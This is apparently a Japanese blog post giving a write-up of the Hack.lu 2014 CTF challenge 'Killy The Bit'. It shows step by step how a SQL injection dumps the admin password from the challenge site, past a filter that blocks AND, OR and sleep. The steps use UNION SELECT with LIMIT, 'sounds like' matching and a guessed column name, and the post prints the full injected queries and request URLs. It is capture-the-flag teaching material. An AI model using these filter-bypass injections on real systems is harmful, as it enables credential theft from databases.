きゅうり。

主にCTF関係のことを書いていく気がします

Hack.lu 2014 Killy The Bit writeup

adminのpasswordを盗み出せ!的な問題

ソースコードを与えられるので読むと、自明なSQLiが存在するページであることがわかる。

3回目のクエリ実行の後には結果が表示されるため、どうにかしてそこでpasswordを抜くことを考える。

ただし、いくつか制約があり AND, OR, sleepなどは使えないのでblind系はできない。

 

真っ先に思いつくのは UNION SELECT 。

SELECT name, email FROM user WHERE name = 'admin' UNION SELECT 1,2 #

としてやると制約に引っかからずにSQLiができる。

ただし、このままでは1回目のクエリ実行で結果が得られてしまうため意味がない。

そこで、admin → adm などにしてやることで、イコールでは引っかからずに sounds likeで引っかかるようにする。

SELECT name, email FROM user WHERE name ='adm' UNION SELECT 1,2 #

しかし実はこれでもまだダメで、UNION SELECTした結果が返ってきてしまう。

これをうまく消すためには、1回目と2,3回目では検索結果が1件と2件以上であることをうまく利用する。

SELECT name, email FROM user WHERE name ='adm' UNION SELECT 1,2 LIMIT 1,1#

これにより、2,3回目のクエリ実行まで行き、SQLiが成功していることが確認できる。

https://wildwildweb.fluxfingers.net:1424/?name=adm%27+UNION+SELECT+1%2C2+LIMIT+1%2C1%23&submit=Generate#

後はadminのパスワードを抜くだけ。

SELECT name, email FROM user WHERE name sounds like 'adm' UNION SELECT password,2 FROM user WHERE name='admin' LIMIT 1,1#

が、しかしここに罠があり、password という文字列にorが含まれているため実行できない。

カラム名をinformation_schemaから抜こうにも、informationにもorが含まれている。

ここは推測だが、実際のカラム名はpasswdとなっている。

SELECT name, email FROM user WHERE name sounds like 'adm' UNION SELECT passwd,2 FROM user WHERE name ='admin' LIMIT 1,1#

https://wildwildweb.fluxfingers.net:1424/?name=adm%27+UNION+SELECT+passwd%2C2+FROM+user+WHERE+name+%3D%27admin%27+LIMIT+1%2C1%23&submit=Generate#

flag{Killy_The_Bit_Is_Wanted_FoR_FlipPing_Bits}

web問には慣れてないが、この程度のカラム名の推測は必要らしい。

あと、ブラインドSQLiで解く方法も存在するらしい。